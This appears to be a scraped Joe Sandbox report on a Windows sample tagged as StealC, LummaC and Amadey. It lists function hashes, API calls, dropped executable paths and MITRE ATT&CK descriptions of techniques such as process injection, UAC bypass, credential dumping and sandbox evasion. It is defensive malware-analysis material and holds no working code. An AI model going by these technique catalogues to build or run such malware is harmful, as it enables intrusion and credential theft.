Opcode Fuzzy Hash: 51161e05d66be12e9cb1647e9e278f023eafb0f44895cbca2377a5b285e21494
Instruction Fuzzy Hash: 3A21E532B05A118FCB269B66E445B6673B1EB86718738091FC57583F44DB35E80787B2

Function 6CF0B940 Relevance: 5.1, APIs: 4, Instructions: 64COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6CF0B96F
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020), ref: 6CF0B99A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CF0B9B0
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CF0B9B9

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: memcpy$freemalloc
String ID:
API String ID: 3313557100-0
Opcode ID: f849ae4f50efbd7c70f722cd6c3f7b54e80497cc4b69e8e15755c5312efd6aba
Instruction ID: 306840977fb6b502f3ff6bba733ba9e606da3fa0e5e61e46fd3c6ccba0d428d6
Opcode Fuzzy Hash: f849ae4f50efbd7c70f722cd6c3f7b54e80497cc4b69e8e15755c5312efd6aba
Instruction Fuzzy Hash: 571151B2E002059FCB14DF69D8849ABB7F8FF98314B14893AE919D3701D731E915CBA1

Function 6CF426B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CF426C1
free.MOZGLUE(?), ref: 6CF426E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CF426FF
free.MOZGLUE ref: 6CF4270D

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: e14c3da94ebe53d88ae7ba517775d660b807da7d3cab13416cea4711e25b4540
Instruction ID: 0e28ba44f8390a10289ae731bffce27265f48c6e0534a4e22a60b19fc2ae83a2
Opcode Fuzzy Hash: e14c3da94ebe53d88ae7ba517775d660b807da7d3cab13416cea4711e25b4540
Instruction Fuzzy Hash: FBF0A9B2B012055BE7009B18E888E5B7BB9EF55258B554035EA16D3B03E732F919C7A1

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\c7af53ccad.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe

Windows Analysis Report
file.exe

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre